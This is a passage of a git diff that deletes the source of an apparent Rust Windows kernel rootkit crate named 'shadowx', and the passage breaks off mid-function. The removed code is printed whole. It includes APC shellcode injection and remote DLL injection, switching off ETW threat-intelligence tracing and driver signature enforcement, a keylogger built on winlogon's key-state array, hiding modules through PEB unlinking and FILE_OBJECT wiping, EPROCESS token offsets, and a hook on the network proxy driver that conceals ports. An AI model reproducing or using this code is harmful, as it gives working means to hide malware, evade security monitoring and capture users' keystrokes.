PoolMemory| { - let ptr = mem.ptr as *mut _KAPC; - core::mem::forget(mem); - ptr - }) - .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; - - let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"urds")) - .map(|mem: PoolMemory| { - let ptr = mem.ptr as *mut _KAPC; - core::mem::forget(mem); - ptr - }) - .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; - - // Initialize the kernel APC - KeInitializeApc( - kernel_apc, - thread_id, - OriginalApcEnvironment, - kernel_apc_callback, - None, - None, - KernelMode as i8, - null_mut() - ); - - // Initialize the user APC with the shellcode - KeInitializeApc( - user_apc, - thread_id, - OriginalApcEnvironment, - user_apc_callback, - None, - transmute::<_, PKNORMAL_ROUTINE>(base_address), - UserMode as i8, - null_mut() - ); - - // Insert the user APC into the queue - if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) { - return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!())) - } - - // Insert the kernel APC into the queue - if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) { - return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!())) - } - - Ok(STATUS_SUCCESS) - } -} - -/// Represents dll injection operations. -/// -/// The `DLL` struct provides methods for injecting DLL into a target process -/// using either `NtCreateThreadEx` -pub struct DLL; - -impl DLL { - /// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`. - /// - /// This function opens the target process, allocates memory for the DLL path, and creates a remote thread - /// in the target process to load the DLL using `LoadLibraryA`. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process where the DLL will be injected. - /// * `path` - The file path to the DLL that will be injected. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step, such as opening the process, memory allocation, or thread creation, fails. - pub unsafe fn injection_dll_thread(pid: usize, path: &str) -> Result { - // Find the address of NtCreateThreadEx to create a thread in the target process - let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))?; - - // Find the address of LoadLibraryA in kernel32.dll - let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA"))?; - - // Open the target process - let target_eprocess = Process::new(pid)?; - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); - } - - // Wrap the process handle in a safe Handle type - let h_process = Handle::new(h_process); - - // Allocate memory in the target process for the DLL path - let mut base_address = null_mut(); - let mut region_size = (path.len() * size_of::()) as u64; - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); - } - - // Copy the DLL path into the target process's memory - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - path.as_ptr() as _, - target_eprocess.e_process, - base_address, - (path.len() * size_of::()) as u64, - KernelMode as i8, - &mut result_number, - ); - - // Change the memory protection to executabl - let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status)); - } - - // Create a thread in the target process to load the DLL - let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); - let mut h_thread = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - status = ZwCreateThreadEx( - &mut h_thread, - THREAD_ALL_ACCESS, - &mut obj_attr, - h_process.get(), - transmute(function_address), - base_address, - 0, - 0, - 0, - 0, - null_mut() - ); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status)); - } - - // Close the handle to the thread - ZwClose(h_thread); - - Ok(STATUS_SUCCESS) - } -} - - -/// Kernel APC callback function. -/// -/// This callback is triggered when the kernel APC is executed. -/// It ensures that the thread is alertable and then frees the allocated APC structure. -pub unsafe extern "system" fn kernel_apc_callback( - apc: PKAPC, - _normal_routine: *mut PKNORMAL_ROUTINE, - _normal_context: *mut PVOID, - _system_argument1: *mut PVOID, - _system_argument2: *mut PVOID -) { - // Ensure the thread is alertable in user mode - KeTestAlertThread(UserMode as i8); - - // Free the APC object - ExFreePool(apc as _) -} - -/// User APC callback function. -/// -/// This callback is triggered when the user APC is executed. -/// It checks if the thread is terminating and frees the APC structure when done. -pub unsafe extern "system" fn user_apc_callback( - apc: PKAPC, - normal_routine: *mut PKNORMAL_ROUTINE, - _normal_context: *mut PVOID, - _system_argument1: *mut PVOID, - _system_argument2: *mut PVOID -) { - // Check if the current thread is terminating and prevent the shellcode from executing - if PsIsThreadTerminating(PsGetCurrentThread()) == 1 { - *normal_routine = None; - } - - // Free the APC object - ExFreePool(apc as _) -} \ No newline at end of file diff --git a/crates/shadowx/src/lib.rs b/crates/shadowx/src/lib.rs deleted file mode 100644 index bff5924..0000000 --- a/crates/shadowx/src/lib.rs +++ /dev/null @@ -1,42 +0,0 @@ -#![no_std] -#![allow(unused_must_use)] -#![allow(unused_variables)] - -extern crate alloc; - -mod process; -pub use process::*; - -mod thread; -pub use thread::*; - -mod injection; -pub use injection::*; - -mod module; -pub use module::*; - -mod misc; -pub use misc::*; - -mod driver; -pub use driver::*; - -pub mod port; -pub use port::*; - -pub mod error; - -pub mod data; -pub use data::*; - -pub mod registry; -pub use registry::*; - -pub mod callback; -pub use callback::*; - -pub mod utils; -pub use utils::*; - -mod offsets; \ No newline at end of file diff --git a/crates/shadowx/src/misc.rs b/crates/shadowx/src/misc.rs deleted file mode 100644 index 7ea735b..0000000 --- a/crates/shadowx/src/misc.rs +++ /dev/null @@ -1,178 +0,0 @@ -use { - obfstr::obfstr, - core::{ffi::c_void, ptr::null_mut}, - wdk_sys::{ - *, - ntddk::*, - _MODE::UserMode, - _MEMORY_CACHING_TYPE::MmCached, - _MM_PAGE_PRIORITY::NormalPagePriority, - }, - crate::{ - uni, Process, - TRACE_ENABLE_INFO, - error::ShadowError, - get_process_by_name, - process_attach::ProcessAttach, - patterns::{ETWTI_PATTERN, scan_for_pattern}, - address::{get_function_address, get_module_base_address}, - } -}; - -/// Represents ETW (Event Tracing for Windows) in the operating system. -/// -/// The `Etw` struct provides methods for interacting with and manipulating -/// the ETW framework, including enabling or disabling ETW tracing through the ETWTI structure. -pub struct Etw; - -impl Etw { - /// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure. - /// - /// This function scans for the ETWTI (Event Tracing for Windows Threat Intelligence) structure - /// and adjusts the `IsEnabled` field to either enable or disable ETW tracing. It uses a pattern - /// search to locate the ETWTI structure in memory. - /// - /// # Arguments - /// - /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the operation is successful. - /// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure. - pub unsafe fn etwti_enable_disable(enable: bool) -> Result { - // Convert function name to Unicode string for lookup - let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode(); - - // Get the system routine address for the function - let function_address = MmGetSystemRoutineAddress(&mut function_name); - - // Scan for the ETWTI structure using a predefined pattern - let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?; - - // Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field - let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO; - (*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 }; - - Ok(STATUS_SUCCESS) - } -} - -/// Represents Driver Signature Enforcement (DSE) in the operating system. -/// -/// The `Dse` struct provides functionality to manipulate the state of DSE, -/// which is responsible for enforcing the signature requirement on kernel-mode drivers. -pub struct Dse; - -impl Dse { - /// Modifies the Driver Signature Enforcement (DSE) state. - /// - /// This function locates the `g_ciOptions` structure in memory, which controls the DSE state, and modifies it to either enable or disable - /// driver signature enforcement. - /// - /// # Arguments - /// - /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the operation is successful. - /// * `Err(ShadowError)` - If the function fails to find or modify the DSE state. - pub unsafe fn set_dse_state(enable: bool) -> Result { - // Get the base address of the CI.dll module, where the relevant function resides - let module_address = get_module_base_address(obfstr!("CI.dll"))?; - - // Get the address of the CiInitialize function within CI.dll - let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?; - - // Search for the memory pattern that represents the initialization of DSE - let instructions = [0x8B, 0xCD]; - let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?; - - // Locate the g_ciOptions structure based on a pattern in the CiInitialize function - let instructions = [0x49, 0x8b, 0xE9]; - let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21)?; - - // Modify g_ciOptions to either enable or disable DSE based on the input flag - if enable { - *(g_ci_options as *mut u64) = 0x0006_u64; - } else { - *(g_ci_options as *mut u64) = 0x000E_u64; - } - - Ok(STATUS_SUCCESS) - } -} - -/// Represents keylogger operations in the system. -/// -/// The `Keylogger` struct provides methods to retrieve and map memory for tracking key states -/// by interacting with the `gafAsyncKeyState` array in the `winlogon.exe` process. -pub struct Keylogger; - -impl Keylogger { - /// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode. - /// - /// This function finds the process ID of `winlogon.exe`, attaches to the process, retrieves the address of the `gafAsyncKeyState` array, - /// and maps it into the user-mode address space for the process. - /// - /// # Returns - /// - /// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`. - /// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory. - pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void, ShadowError> { - // Get the PID of winlogon.exe - let pid = get_process_by_name(obfstr!("winlogon.exe"))?; - - // Attach to the winlogon.exe process - let winlogon_process = Process::new(pid)?; - let attach_process = ProcessAttach::new(winlogon_process.e_process); - - // Retrieve the address of gafAsyncKeyState - let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?; - - // Validate the address before proceeding - if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 { - return Err(ShadowError::FunctionExecutionFailed("MmIsAddressValid", line!())) - } - - // Allocate an MDL (Memory Descriptor List) to manage the memory - let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut()); - if mdl.is_null() { - return Err(ShadowError::FunctionExecutionFailed("IoAllocateMdl", line!())) - } - - // Build the MDL for the non-paged pool - MmBuildMdlForNonPagedPool(mdl); - - // Map the locked pages into user-mode address space - let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32); - if address.is_null() { - IoFreeMdl(mdl); - return Err(ShadowError::FunctionExecutionFailed("MmMapLockedPagesSpecifyCache", line!())) - } - - Ok(address) - } - - /// Retrieves the address of the `gafAsyncKeyState` array. - /// - /// This function uses a pattern search to locate the `gafAsyncKeyState` array in the `win32kbase.sys` module. - /// - /// # Returns - /// - /// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found. - /// * `Err(ShadowError)` - If the array is not found or an error occurs during the search. - unsafe fn get_gafasynckeystate_address() -> Result<*mut u8, ShadowError> { - // Get the base address of win32kbase.sys - let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; - - // Get the address of the NtUserGetAsyncKeyState function - let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?; - - // Search for the pattern that identifies the gafAsyncKeyState array - // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] - let pattern = [0x48, 0x8B, 0x05]; - scan_for_pattern(function_address, &pattern, 3, 7, 0x200) - } -} diff --git a/crates/shadowx/src/module.rs b/crates/shadowx/src/module.rs deleted file mode 100644 index bd95141..0000000 --- a/crates/shadowx/src/module.rs +++ /dev/null @@ -1,245 +0,0 @@ -use { - wdk_sys::*, - alloc::vec::Vec, - winapi::shared::ntdef::LIST_ENTRY, - ntapi::{ - ntpebteb::PEB, - ntldr::LDR_DATA_TABLE_ENTRY - }, -}; - -use crate::{ - process::Process, - error::ShadowError, - data::{ - MMVAD_SHORT, MMVAD, - PsGetProcessPeb - }, - offsets::get_vad_root, - utils::process_attach::ProcessAttach -}; - -#[derive(Debug)] -pub struct ModuleInfo { - pub name: [u16; 256], - pub address: usize, - pub index: u8, -} - -/// Represents a module in the operating system. -pub struct Module; - -impl Module { - /// VAD Type for an image map. - const VAD_IMAGE_MAP: u32 = 2; - - /// Enumerates modules in a given target process. - /// - /// # Arguments - /// - /// * `process` - A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated. - /// * `module_info` - A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules. - /// * `information` - A mutable reference to a `usize` that will store additional information about the module enumeration. - /// - /// # Returns - /// - /// * Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status. - pub unsafe fn enumerate_module(pid: usize) -> Result, ShadowError> { - let mut modules: Vec = Vec::with_capacity(276); - - // Attaches the target process to the current context - let target = Process::new(pid)?; - let mut attach_process = ProcessAttach::new(target.e_process); - - // Gets the PEB (Process Environment Block) of the target process - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); - } - - // Enumerates the loaded modules from the InLoadOrderModuleList - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - let mut count = 0; - - while next != current { - if next.is_null() { - return Err(ShadowError::NullPointer("LIST_ENTRY")); - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); - } - - // Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string - let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); - if buffer.is_empty() { - return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); - } - - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - // Populates the `ModuleInfo` structure with name, address, and index - modules.push(ModuleInfo { - name, - address: (*list_entry).DllBase as usize, - index: count as u8, - }); - - count += 1; - - // Move to the next module in the list - next = (*next).Flink; - } - - // Detaches the target process - attach_process.detach(); - - Ok(modules) - } - - /// Hides a module in a target process by removing its entries from the module list. - /// - /// # Arguments - /// - /// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the module is successfully hidden. - /// * `Err(ShadowError)` - If an error occurs when trying to hide the module. - pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result { - let target = Process::new(pid)?; - let mut attach_process = ProcessAttach::new(target.e_process); - - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); - } - - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - let mut address = core::ptr::null_mut(); - - while next != current { - if next.is_null() { - return Err(ShadowError::NullPointer("next LIST_ENTRY")); - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY")); - } - - let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); - if buffer.is_empty() { - return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); - } - - // Check if the module name matches - let dll_name = alloc::string::String::from_utf16_lossy(buffer); - if dll_name.to_lowercase() == module_name{ - // Removes the module from the load order list - Self::remove_link(&mut (*list_entry).InLoadOrderLinks); - Self::remove_link(&mut (*list_entry).InMemoryOrderLinks); - Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks); - Self::remove_link(&mut (*list_entry).HashLinks); - address = (*list_entry).DllBase; - break; - } - - next = (*next).Flink; - } - - // Detaches the target process - attach_process.detach(); - - if !address.is_null() { - Self::hide_object(address as u64, target); - } - - Ok(STATUS_SUCCESS) - } - - /// Removing the module name in the FILE_OBJECT structure. - /// - /// # Arguments - /// - /// * `target_address` - The address of the module to hide. - /// * `process` - The target process structure. - /// - /// # Returns - /// - /// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status. - pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<(), NTSTATUS> { - let vad_root = get_vad_root(); - let vad_table = process.e_process.cast::().offset(vad_root as isize) as *mut RTL_BALANCED_NODE; - let current_node = vad_table; - // Uses a stack to iteratively traverse the tree - let mut stack = alloc::vec![vad_table]; - while let Some(current_node) = stack.pop() { - if current_node.is_null() { - continue; - } - - // Converts the current node to an MMVAD_SHORT - let vad_short = current_node as *mut MMVAD_SHORT; - - // Calculates start and end addresses - let mut start_address = (*vad_short).StartingVpn as u64; - let mut end_address = (*vad_short).EndingVpn as u64; - - // Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address - start_address |= ((*vad_short).StartingVpnHigh as u64) << 32; - end_address |= ((*vad_short).EndingVpnHigh as u64) << 32; - - // Multiply the addresses by 0x1000 (page size) to get the real addresses - let start_address = start_address * 0x1000; - let end_address = end_address * 0x1000; - - if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address { - let long_node = vad_short as *mut MMVAD; - - let subsection = (*long_node).SubSection; - if subsection.is_null() || (*subsection).ControlArea.is_null() || (*(*subsection).ControlArea).FilePointer.Inner.Object.is_null() { - return Err(STATUS_INVALID_ADDRESS); - } - - let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT; - core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize); - break; - } - - // Stack the right node (if there is one) - if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() { - stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right); - } - - // Stack the left node (if there is one) - if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() { - stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left); - } - } - - Ok(()) - } - - /// Removes a link from the list. - /// - /// # Arguments - /// - /// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink. - unsafe fn remove_link(list: &mut LIST_ENTRY) { - let next = list.Flink; - let previous = list.Blink; - - (*next).Blink = previous; - (*previous).Flink = next; - - list.Flink = list; - list.Blink = list; - } -} diff --git a/crates/shadowx/src/offsets.rs b/crates/shadowx/src/offsets.rs deleted file mode 100644 index 1181a36..0000000 --- a/crates/shadowx/src/offsets.rs +++ /dev/null @@ -1,189 +0,0 @@ -use spin::Lazy; -use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW}; - -/// Constant values for Windows build numbers. -const WIN_1507: u32 = 10240; -const WIN_1511: u32 = 10586; -const WIN_1607: u32 = 14393; -const WIN_1703: u32 = 15063; -const WIN_1709: u32 = 16299; -const WIN_1803: u32 = 17134; -const WIN_1809: u32 = 17763; -const WIN_1903: u32 = 18362; -const WIN_1909: u32 = 18363; -const WIN_2004: u32 = 19041; -const WIN_20H2: u32 = 19042; -const WIN_21H1: u32 = 19043; -const WIN_21H2: u32 = 19044; -const WIN_22H2: u32 = 19045; - -/// Constant values for Windows build numbers (Not currently used) -#[allow(dead_code)] -const WIN_1121H2: u32 = 22000; -#[allow(dead_code)] -const WIN_1122H2: u32 = 22621; - -/// Holds the Windows build number initialized at runtime. -/// -/// This value is fetched using the `get_windows_build_number` function, -/// which utilizes the `RtlGetVersion` API from the Windows kernel. -static BUILD_NUMBER: Lazy = Lazy::new(|| get_windows_build_number()); - -/// Retrieves the process lock offset based on the current Windows build number. -/// -/// This function returns the offset for the process lock field in the `EPROCESS` structure -/// for the current version of Windows. -/// -/// # Returns -/// -/// * The offset (in bytes) to the process lock field. -#[inline] -pub fn get_process_lock() -> isize { - match *BUILD_NUMBER { - WIN_1507 => 0x608, - WIN_1511 => 0x610, - WIN_1607 => 0x620, - WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, - WIN_1903 | WIN_1909 => 0x658, - _ => 0x7d8, - } -} - -/// Retrieves the active process link offset based on the current Windows build number. -/// -/// This function returns the offset for the active process link in the `EPROCESS` structure, -/// which points to the list of processes in the active process chain. -/// -/// # Returns -/// -/// * The offset (in bytes) to the active process link. -#[inline] -pub fn get_active_process_link_offset() -> isize { - match *BUILD_NUMBER { - WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0, - WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8, - _ => 0x448 - } -} - -/// Retrieves the VAD root offset based on the current Windows build number. -/// -/// This function returns the offset for the VAD (Virtual Address Descriptor) root -/// in the `EPROCESS` structure for different Windows versions. -/// -/// # Returns -/// -/// * The offset (in bytes) to the VAD root field. -#[inline] -pub fn get_vad_root() -> u32 { - match *BUILD_NUMBER { - WIN_1507 => 0x608, - WIN_1511 => 0x610, - WIN_1607 => 0x620, - WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, - WIN_1903 | WIN_1909 => 0x658, - _ => 0x7d8, - } -} - -/// Retrieves the token offset based on the current Windows build number. -/// -/// This function returns the offset for the token field in the `EPROCESS` structure, -/// which points to the access token that represents the security context of a process. -/// The token contains privileges, group memberships, and other security-related information. -/// -/// # Returns -/// -/// * The offset (in bytes) to the token field in the `EPROCESS` structure. -#[inline] -pub fn get_token_offset() -> isize { - match *BUILD_NUMBER { - WIN_1903 | WIN_1909 => 0x360, - WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 - | WIN_1803 | WIN_1809 => 0x358, - _ => 0x4b8, - } -} - -/// Retrieves the protection signature offset based on the current Windows build number. -/// -/// This function returns the offset for the protection signature field in the `EPROCESS` structure. -/// This field defines the protection type and the signer of the protection for the process, -/// allowing certain processes to be protected from termination or modification. -/// -/// # Returns -/// -/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure. -#[inline] -pub fn get_signature_offset() -> isize { - match *BUILD_NUMBER { - WIN_1903 | WIN_1909 => 0x6f8, - WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8, - WIN_1607 => 0x6c0, - WIN_1511 => 0x6b0, - WIN_1507 => 0x6a8, - _ => 0x878 - } -} - -/// Retrieves the thread list entry offset based on the current Windows build number. -/// -/// This function returns the offset for the thread list entry in the `EPROCESS` structure. -/// The thread list entry links all the threads belonging to a process, allowing the system -/// to traverse the list of threads for each process. -/// -/// # Returns -/// -/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure. -#[inline] -pub fn get_thread_lock_offset() -> isize { - match *BUILD_NUMBER { - WIN_1507 | WIN_1511 => 0x690, - WIN_1607 => 0x698, - WIN_1703 => 0x6a0, - WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8, - WIN_1903 | WIN_1909 => 0x6b8, - WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8, - WIN_22H2 => 0x500, - _ => 0x538 - } -} - -/// Retrieves the thread lock offset based on the current Windows build number. -/// -/// This function returns the offset for the thread lock field in the `EPROCESS` structure. -/// The thread lock is used to synchronize access to the list of threads within a process, -/// ensuring thread-safe operations when managing process threads. -/// -/// # Returns -/// -/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure. -#[inline] -pub fn get_thread_list_entry_offset() -> isize { - match *BUILD_NUMBER { - WIN_1507 => 0x480, - WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 - | WIN_1903 | WIN_1909 => 0x488, - WIN_22H2 => 0x4e8, - _ => 0x5e0 - } -} - -/// Retrieves the Windows build number using the `RtlGetVersion` API. -/// -/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version, -/// including the build number. It is used to determine which Windows version the code is running on. -/// -/// # Returns -/// -/// * The Windows build number or `0` if the call to `RtlGetVersion` fails. -pub fn get_windows_build_number() -> u32 { - unsafe { - let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed(); - if RtlGetVersion(&mut os_info) == 0 { - return os_info.dwBuildNumber; - } - } - - 0 -} diff --git a/crates/shadowx/src/port.rs b/crates/shadowx/src/port.rs deleted file mode 100644 index 34f0f67..0000000 --- a/crates/shadowx/src/port.rs +++ /dev/null @@ -1,527 +0,0 @@ -use { - alloc::vec::Vec, - log::{error, warn}, - spin::{Mutex, lazy::Lazy}, - wdk_sys::{ - *, - _MODE::KernelMode, - ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead}, - }, - core::{ - ptr::{null_mut, copy}, - sync::atomic::{AtomicPtr, Ordering, AtomicBool}, - ffi::c_void, mem::size_of, slice::from_raw_parts_mut, - }, -}; - -use { - common::{ - structs::TargetPort, - enums::{PortType, Protocol}, - }, - crate::{ - error::ShadowError, - utils::{ - pool::PoolMemory, uni::str_to_unicode, - valid_kernel_memory, valid_user_memory, - }, - data::{ - COMUNICATION_TYPE, - ObReferenceObjectByName, IoDriverObjectType, - NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY, - NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY - }, - } -}; - -const MAX_PORT: usize = 100; - -/// Holds the original NSI dispatch function, used to store the original pointer before hooking. -static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut()); - -/// Indicates whether the callback has been activated. -pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false); - -/// List of protected ports, synchronized with a mutex. -/// -/// This static variable holds the list of protected network ports, using a `Mutex` to ensure -/// thread-safe access. It is initialized with a capacity of `MAX_PORT`. -pub static PROTECTED_PORTS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(100))); - -/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information. -pub struct Port; - -impl Port { - /// Control code for the NSI communication. - const NIS_CONTROL_CODE: u32 = 1179675; - - /// Network driver name. - const NSI_PROXY: &str = "\\Driver\\Nsiproxy"; - - /// Installs a hook into the NSI proxy driver to intercept network table operations. - /// - /// This function installs a hook into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL` - /// dispatch function with a custom hook (`hook_nsi`). It stores the original function in a static - /// atomic pointer for later restoration. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the hook is installed successfully. - /// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found. - pub unsafe fn install_hook() -> Result { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut core::ffi::c_void - ); - - // Check if the driver object was referenced successfully. - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)) - } - - // Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function. - let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - if let Some(original_function) = major_function.take() { - // Store the original dispatch function. - let original_function_ptr = original_function as *mut (); - ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst); - - // Replace the dispatch function with the hook. - *major_function = Some(Self::hook_nsi); - HOOK_INSTALLED.store(true, Ordering::SeqCst); - } else { - ObfDereferenceObject(driver_object as _); - return Err(ShadowError::HookFailure); - } - - // Dereference the driver object after setting up the hook. - ObfDereferenceObject(driver_object as _); - Ok(STATUS_SUCCESS) - } - - /// Uninstalls the NSI hook, restoring the original dispatch function. - /// - /// This function uninstalls the previously installed NSI hook, restoring the original dispatch - /// function that was replaced. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled. - /// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed. - pub unsafe fn uninstall_hook() -> Result { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut c_void, - ); - - // Handle error if the driver object can't be referenced. - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)) - } - - // If the hook is installed, restore the original dispatch function. - if 